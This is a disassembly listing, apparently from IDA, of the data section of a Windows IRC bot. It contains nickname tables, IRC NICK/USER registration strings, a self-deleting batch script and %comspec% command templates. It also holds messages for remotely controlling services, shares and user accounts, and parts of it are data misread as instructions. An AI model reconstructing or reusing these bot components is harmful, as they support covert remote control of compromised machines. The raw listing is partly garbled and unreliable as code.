dd offset dword_440A0C
dd offset dword_440A08
dd offset dword_440A04
dd offset dword_440A00
dd offset dword_4409FC
dd offset dword_4409F8
dd offset dword_4409F4
dd offset dword_4409F0
dd offset dword_4409EC
dd offset dword_4409E8
dd offset word_4409E4
dd offset aM_3 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl_0 ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_44078C
dd offset off_440788
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_4405F4
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
; ---------------------------------------------------------------------------
fadd dword ptr ds:5D00044h
inc esp
add al, cl
add eax, 5C00044h
inc esp
add [eax-4FFFBBFBh], bh
add eax, 5A40044h
inc esp
add [ebp+eax+5940044h], bl
inc esp
add [ebp+eax+5840044h], cl
inc esp
add [ebp+eax+44h], bh
add [ebp+eax+44h], dh
add [ebp+eax+44h], ch
add [eax+5], ch
inc esp
add [ebp+eax+44h], bl
add [eax+5], dl
inc esp
add [ebp+eax+44h], al
add ds:5340044h[eax], bh
inc esp
add ds:5200044h[eax], ch
inc esp
add ds:5080044h[eax], dl
inc esp
add ah, bh
add al, 44h
add ah, dh
add al, 44h
add al, ch
add al, 44h
add ah, bl
add al, 44h
loc_4401D7: ; DATA XREF: sub_4180E3+41r
; sub_4180E3+ECr
add [ebp+edi*8+42h], dl
add al, bl
add al, 44h
add ah, dl
add al, 44h
add [esp+ecx*8], ah
inc edx
add al, dl
add al, 44h
add ah, cl
add al, 44h
add ah, al
add al, 44h
add [esp+eax+4B40044h], bh
inc esp
add [esp+eax+4A40044h], ch
inc esp
loc_440203: ; CODE XREF: .nsp0:00440248j
add [esp+eax+4940044h], bl
inc esp
add [esp+eax+4800044h], cl
inc esp
add [eax+4], bh
inc esp
add [eax+4], dh
inc esp
add [esp+eax+44h], ch
add [esp+eax+44h], ah
add ah, al
mov edx, 0BA800042h
inc edx
add [edx+edi*4], bh
inc edx
add [edx+edi*4], al
inc edx
add [eax], ah
mov edx, 0B9E00042h
inc edx
add [ecx+edi*4-4667FFBEh], bh
inc edx
add al, dl
and [ebx+0], eax
jz short loc_440203
inc edx
add [eax-47h], dl
inc edx
add [ecx+edi*4], ch
inc edx
add [eax], cl
mov ecx, 0B8E40042h
inc edx
add al, al
mov eax, 0B89C0042h
inc edx
add [eax+600042B7h], ah
add al, 44h
add [eax], dh
mov eax, 0B8780042h
inc edx
add al, ch
mov bh, 42h
add ah, al
mov bh, 42h
add [eax-5], bh
inc edx
add [eax+edi*4], cl
inc edx
add [ebx+edi*4], ch
inc edx
add [eax+4], bl
inc esp
add [esp+eax+44h], dl
add [eax+4], dl
inc esp
add [esp+eax+44h], cl
add [eax+4], cl
inc esp
add [esp+eax+44h], al
add [eax+4], al
inc esp
add [eax], bh
add al, 44h
add [eax], dh
add al, 44h
add [eax], ch
add al, 44h
add [eax], ah
add al, 44h
add [ebx+edi*4], ch
inc edx
add al, ah
mov ecx, 0B8540042h
inc edx
add [eax+1C0042B7h], ah
add al, 44h
add [esp+eax], dl
inc esp
add [eax-67FFBBCDh], bl
xor eax, [eax+eax+10h]
add al, 44h
add [eax-67FFBBCDh], bl
xor eax, [eax+eax-68h]
xor eax, [eax+eax-68h]
xor eax, [eax+eax+10h]
or al, [eax+eax-20h]
or [eax+eax+8], eax
add al, 44h
add [esp+eax], al
inc esp
add ah, bh
add eax, [eax+eax-3Ch]
mov edx, 33980042h
inc esp
add al, dh
add eax, [eax+eax-68h]
xor eax, [eax+eax-68h]
xor eax, [eax+eax-18h]
add eax, [eax+eax-20h]
add eax, [eax+eax-68h]
xor eax, [eax+eax-68h]
xor eax, [eax+eax-0Ch]
or [eax+eax-68h], eax
xor eax, [eax+eax-24h]
add eax, [eax+eax-2Ch]
add eax, [eax+eax-34h]
add eax, [eax+eax+54h]
rol byte ptr [edx+0], cl
enter 4403h, 0
rol byte ptr [ebx], 44h
add [eax-4FFFBBFDh], bh
add eax, [eax+eax-58h]
add eax, [eax+eax-5Ch]
add eax, [eax+eax+44h]
mov dword ptr [edx+0], offset dword_44039C
nop
add eax, [eax+eax-78h]
add eax, [eax+eax-80h]
add eax, [eax+eax+78h]
add eax, [eax+eax+74h]
add eax, [eax+eax+70h]
add eax, [eax+eax+36h]
jnz short $+2
add ds:7C000075h, dh
xor al, 75h
jl short $+2
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 6F79347Bh, 7D75h, 7375347Ch, 7Ch, 7865737Ch, 65726634h
dd 7C65h
dword_44039C dd 6F6C6F6Ch, 7C617Ch, 746F74h, 6F666F6Dh, 0aMof0 db 'mof0',0
align 4
aMuha db 'muha',0
align 10h
aYeah db 'yeah',0
align 4
aAha db 'aha',0
aGurl db 'gurl',0
align 4
aGirl_1 db 'GIRL',0
align 4
aBoy db 'BOY',0
aFree_0 db 'Free',0
align 4
aFuck_0 db 'Fuck',0
align 10h
aSleeping db 'Sleeping',0
align 4
aF_0 db '^^^f^',0
align 4
aSad db 'Sad',0
aLuvu db 'LUVU',0
align 10h
a___0 db '_|_',0
aBbl db '|bbl',0
align 4
dd offset loc_425242
aMuckc db 'muckc',0
align 4
aTruck db 'truck',0
align 10h
aTrimy db 'trimy',0
align 4
aLuvy db 'luvy',0
align 10h
aUi db 'ui',0
align 4
aSdf db 'sdf',0
aRt db 'rt',0
align 4
aGf db 'gf',0
align 10h
aTy db 'ty',0
align 4
aRg db 'rg',0
align 4
aHappy db 'happy',0
align 10h
aRs db 'rs',0
align 4
aQ8A db '|q8|a',0
align 4
aQ8 db 'Q8',0
align 10h
aSick_0 db 'sick}}',0
align 4
aWiked db '|wiked|',0
aLuvuF db '||luvu-f|',0
align 4
aGens db '{gens|',0
align 4
aSex_1 db '{sex}',0
align 4
aHub db '{hub}',0
align 4
aLuck_0 db '|luck|',0
align 4
aSuck_0 db '|suck|',0
align 4
aTot db '-|tot|',0
align 4
aWoh db '|woh|',0
align 4
aTambe db '|tambe|',0
aLag db 'lag',0
aBad db 'bad',0
aZex db 'zex',0
aLez db 'lez',0
aWantedlove db 'WANTEDLOVE',0
align 4
aCumhur29 db 'cumhur29',0
align 4
aAdamm db 'ADAMM',0
align 4
aMaveRIck db 'MaVe{R}icK',0
align 4
aPrometheus db 'prometheus',0
align 4
aDallas43m db 'DALLAS43M',0
align 10h
aTeoman db 'TEOMAN```',0
align 4
aRerpjj db 'RERPJJ',0
align 4
aCem39 db 'cem39',0
align 4
aCool30m db 'cool30m',0
aTropikal db 'tropikal',0
align 10h
aPassenger db 'passenger',0
align 4
aNeHaber db 'NE-HABER',0
align 4
aUla db 'ula',0
aIzmirlm db 'izmirlm',0
aAkden db 'akden',0
align 4
aKoray db 'KORAY',0
align 4
aAta29 db 'Ata29',0
align 4
aFirtina db 'firtina',0
aAdamm33 db 'AdAMM33',0
aM41ist db 'M41IST',0
align 4
aMaxsilla db 'maxsilla',0
align 10h
aAdem28 db 'Adem28',0
align 4
aAnkm db 'ankM',0
align 10h
aErkan db 'erkan',0
align 4
aDevre db 'devre',0
align 10h
aYabanc db 'yabanc',0
align 4
aBirsen db 'birsen',0
align 10h
aA44m db 'a44m',0 ; DATA XREF: .nsp0:00440164o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: .nsp0:00440160o
align 4
off_4405F4 dd offset byte_4B5245 ; DATA XREF: .nsp0:0044015Co
aSevda db 'sevda',0 ; DATA XREF: .nsp0:00440158o
align 10h
aKotan db 'kotan',0 ; DATA XREF: .nsp0:00440154o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .nsp0:00440150o
align 10h
aAchilles db 'Achilles',0 ; DATA XREF: .nsp0:0044014Co
align 4
aKapk db 'kapk',0 ; DATA XREF: .nsp0:00440148o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: .nsp0:00440144o
align 10h
aHayran db 'hayran',0 ; DATA XREF: .nsp0:00440140o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .nsp0:0044013Co
align 4
aAnkar db 'Ankar',0 ; DATA XREF: .nsp0:00440138o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: .nsp0:00440134o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .nsp0:00440130o
align 10h
aUmut db 'umut-',0 ; DATA XREF: .nsp0:0044012Co
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .nsp0:00440128o
align 10h
aKumul db 'kumul',0 ; DATA XREF: .nsp0:00440124o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .nsp0:00440120o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .nsp0:0044011Co
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .nsp0:00440118o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .nsp0:00440114o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: .nsp0:00440110o
align 4
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .nsp0:0044010Co
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: .nsp0:00440108o
aHoly db 'holy',0 ; DATA XREF: .nsp0:00440104o
align 4
aFlord db 'FLoRD',0 ; DATA XREF: .nsp0:00440100o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: .nsp0:004400FCo
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .nsp0:004400F8o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .nsp0:004400F4o
align 4
aEmre db 'Emre--',0 ; DATA XREF: .nsp0:004400F0o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: .nsp0:004400ECo
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .nsp0:004400E8o
align 10h
aHakan3 db 'hakan3',0 ; DATA XREF: .nsp0:004400E4o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: .nsp0:004400E0o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .nsp0:004400DCo
aArda db 'arda',0 ; DATA XREF: .nsp0:004400D8o
align 4
aDevran db 'devran',0 ; DATA XREF: .nsp0:004400D4o
align 10h
aBerk19m db 'Berk19m',0 ; DATA XREF: .nsp0:004400D0o
aDenizlim db 'DenizliM',0 ; DATA XREF: .nsp0:004400CCo
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .nsp0:004400C8o
align 10h
aAlpay34m db 'alpay34m',0 ; DATA XREF: .nsp0:004400C4o
align 4
aBogac db 'bogac',0 ; DATA XREF: .nsp0:004400C0o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .nsp0:004400BCo
align 10h
aAnkh db 'ankh',0 ; DATA XREF: .nsp0:004400B8o
align 4
off_440788 dd offset byte_457441 ; DATA XREF: .nsp0:004400B4o
dword_44078C dd 414C5941h, 2DhaAlbina db 'albina',0 ; DATA XREF: .nsp0:004400ACo
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .nsp0:004400A8o
align 4
aZack db 'ZACK',0 ; DATA XREF: .nsp0:004400A4o
align 10h
aAnk32m db 'ank32m',0 ; DATA XREF: .nsp0:004400A0o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .nsp0:0044009Co
align 10h
aAhmet db 'ahmet',0 ; DATA XREF: .nsp0:00440098o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .nsp0:00440094o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: .nsp0:00440090o
align 10h
aRetg db 'RETG',0 ; DATA XREF: .nsp0:0044008Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .nsp0:00440088o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: .nsp0:00440084o
aAslii db 'aslii',0 ; DATA XREF: .nsp0:00440080o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: .nsp0:0044007Co
aHaticem db 'haticem',0 ; DATA XREF: .nsp0:00440078o
aArzu db 'ARZU',0 ; DATA XREF: .nsp0:00440074o
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: .nsp0:00440070o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .nsp0:0044006Co
align 10h
aVenedik34 db 'venedik34',0 ; DATA XREF: .nsp0:00440068o
align 4
aTekir db 'tekir',0 ; DATA XREF: .nsp0:00440064o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .nsp0:00440060o
align 10h
aTrend3 db 'trend3',0 ; DATA XREF: .nsp0:0044005Co
align 4
aMelekk db 'melekk',0 ; DATA XREF: .nsp0:00440058o
align 10h
aAkin db 'AKIN',0 ; DATA XREF: .nsp0:00440054o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: .nsp0:00440050o
align 10h
aJericho db 'JERICHO',0 ; DATA XREF: .nsp0:0044004Co
aTolga34 db 'Tolga34',0 ; DATA XREF: .nsp0:00440048o
aMisssunday db 'misssunday',0 ; DATA XREF: .nsp0:00440044o
align 4
aIrmal db 'irmal',0 ; DATA XREF: .nsp0:00440040o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .nsp0:0044003Co
align 4
aBerk19 db 'berk19',0 ; DATA XREF: .nsp0:00440038o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: .nsp0:00440034o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: .nsp0:00440030o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .nsp0:0044002Co
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .nsp0:00440028o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .nsp0:00440024o
align 10h
aKencing db 'Kencing',0 ; DATA XREF: .nsp0:00440020o
aReshma db 'reshma',0 ; DATA XREF: .nsp0:0044001Co
align 10h
aCamel db 'CAMEL',0 ; DATA XREF: .nsp0:00440018o
align 4
aGirl_0 db 'GirL',0 ; DATA XREF: .nsp0:00440014o
align 10h
aImra db 'imra',0 ; DATA XREF: .nsp0:00440010o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .nsp0:0044000Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: .nsp0:00440008o
align 10h
aManee db 'manee',0 ; DATA XREF: .nsp0:00440000o
align 4
aTroller db 'troller',0 ; DATA XREF: .nsp0:0043FFFCo
aLuisa db 'Luisa',0 ; DATA XREF: .nsp0:0043FFF8o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .nsp0:0043FFF4o
align 4
aRimpy db 'rimpy',0 ; DATA XREF: .nsp0:0043FFF0o
align 4
aJanno db 'janno',0 ; DATA XREF: .nsp0:0043FFECo
align 4
aBunty db 'bunty',0 ; DATA XREF: .nsp0:0043FFE8o
align 4
aHeval db 'heval',0 ; DATA XREF: .nsp0:0043FFE4o
align 4
aCme db 'cme',0 ; DATA XREF: .nsp0:0043FFE0o
aTalika db 'talika',0 ; DATA XREF: .nsp0:0043FFD8o
align 10h
aShez db 'Shez',0 ; DATA XREF: .nsp0:0043FFD4o
align 4
aKen db 'ken',0 ; DATA XREF: .nsp0:0043FFD0o
aFlexster db 'flexster',0 ; DATA XREF: .nsp0:0043FFCCo
align 4
aKoko db 'koko',0 ; DATA XREF: .nsp0:0043FFC8o
align 10h
aMale db 'male',0 ; DATA XREF: .nsp0:0043FFC4o
align 4
aSwin db 'swin',0 ; DATA XREF: .nsp0:0043FFC0o
align 10h
aCar1nna db 'Car1nna',0 ; DATA XREF: .nsp0:0043FFBCo
aKrizha db 'KRIZHA',0 ; DATA XREF: .nsp0:0043FFB8o
align 10h
aEmilya db 'emilya',0 ; DATA XREF: .nsp0:0043FFB4o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .nsp0:0043FFB0o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: .nsp0:0043FFACo
aFarooq db 'farooq',0 ; DATA XREF: .nsp0:0043FFA8o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .nsp0:0043FFA4o
align 10h
aM_3: ; DATA XREF: .nsp0:0043FFA0o
unicode 0, <M>,0
word_4409E4 dw 4Eh ; DATA XREF: sub_41A702+38r
; .nsp0:0043FF9Co
align 4
dword_4409E8 dd 42h dword_4409EC dd 56h dword_4409F0 dd 43h dword_4409F4 dd 58h dword_4409F8 dd 5Ah dword_4409FC dd 4Ch dword_440A00 dd 4Bh dword_440A04 dd 4Ah dword_440A08 dd 48h dword_440A0C dd 47h dword_440A10 dd 46h dword_440A14 dd 44h dword_440A18 dd 53h dword_440A1C dd 50h dword_440A20 dd 4Fh dword_440A24 dd 55h word_440A28 dw 59h ; DATA XREF: sub_41AA26+38r
; .nsp0:0043FF50o
align 4
dword_440A2C dd 54h dword_440A30 dd 52h dword_440A34 dd 45h dword_440A38 dd 57h dword_440A3C dd 51h dword_440A40 dd 4B43494Eh, 0A732520h, 0dword_440A4C dd 323334h dword_440A50 dd 474E4F50h, 0A732520h, 0aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417EC3+98o
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_4180E3+BCo
; sub_4180E3+175r ...
align 4
dword_440A98 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_440AE4 dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_440B00 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_41852C+118o
dword_440B14 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_41852C+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4188F8+72o
align 4
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_4189BD+5o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4189BD+9Eo
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418AE3+2o
aComspecCSS db '%%comspec%% /c %s %s',0
align 10h
a@echoOffRepeat db '@echo off',0Dh,0Ah
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0
align 10h
unk_440BD0 db 2Dh ; - ; DATA XREF: sub_418C8D+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 10h
unk_440C00 db 2Dh ; - ; DATA XREF: sub_418C8D+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_440C28 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_418C8D+5Co
dd 65726165h, 64h, 0
off_440C48 dd offset aAdd ; DATA XREF: sub_418F5A+6Dr
; sub_41933E+50r ...
; "Add"
off_440C4C dd offset aAdded ; DATA XREF: sub_418F5A+2Dr
; sub_41933E+82r ...
; "Added"
dword_440C50 dd 0 dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
dd 0
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 440CBCh, 440CB4h, 2, 440CA8h, 440C9Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:00440C7Co
aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:00440C78o
align 4
aStarted db 'Started',0 ; DATA XREF: .nsp0:00440C70o
aStart_0 db 'Start',0 ; DATA XREF: .nsp0:00440C6Co
align 4
aListed db 'Listed',0 ; DATA XREF: .nsp0:00440C64o
align 4
aList_1 db 'List',0 ; DATA XREF: .nsp0:00440C60o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:00440C58o
aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:00440C54o
align 4
aAdded db 'Added',0 ; DATA XREF: .nsp0:off_440C4Co
align 4
aAdd db 'Add',0 ; DATA XREF: .nsp0:off_440C48o
unk_440D10 db 2Dh ; - ; DATA XREF: sub_418F5A+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_440D34 db 2Dh ; - ; DATA XREF: sub_418F5A+55o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_440D60 db 2Dh ; - ; DATA XREF: sub_418F5A+38o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_419083+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_419083:loc_41919Bo
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_419083:loc_419194o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_419083:loc_41918Do
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_419083:loc_419186o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_419083:loc_41917Fo
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_419083:loc_419178o
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_419083:loc_419171o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_419083:loc_41916Ao
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_419083:loc_419163o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_419083:loc_41915Co
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_419083:loc_419131o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_419083:loc_41912Ao
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_419083:loc_419123o
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_419083:loc_41911Co
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_419083+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_419083:loc_4190F1o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_419083:loc_4190E7o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_419083:loc_4190DDo
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_419083:loc_4190D3o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_419083:loc_4190C9o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_419083+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_419201+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_419201:loc_4192CDo
aStarting db ' Starting',0 ; DATA XREF: sub_419201:loc_4192C6o
aStoping db ' Stoping',0 ; DATA XREF: sub_419201:loc_4192BFo
aRunning_0 db ' Running',0 ; DATA XREF: sub_419201:loc_4192B8o
aContinuing db ' Continuing',0 ; DATA XREF: sub_419201:loc_4192B1o
aPausing db ' Pausing',0 ; DATA XREF: sub_419201:loc_4192AAo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_419201:loc_4192A3o
aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_419201+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_419201+25o
align 4
unk_4412B4 db 2Dh ; - ; DATA XREF: sub_41933E+ABo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_4412D8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_41933E+89o
dd 73252720h, 27h
unk_4412F4 db 2Dh ; - ; DATA XREF: sub_41933E+57o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419533+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_419533+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_419533+B5o
unk_441340 db 2Dh ; - ; DATA XREF: sub_419533+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_419533+26o
align 10h
unk_4413A0 db 2Dh ; - ; DATA XREF: sub_419654+B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_4413C8 db 2Dh ; - ; DATA XREF: sub_419654+94o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_4413F8 db 2Dh ; - ; DATA XREF: sub_419654+6Do
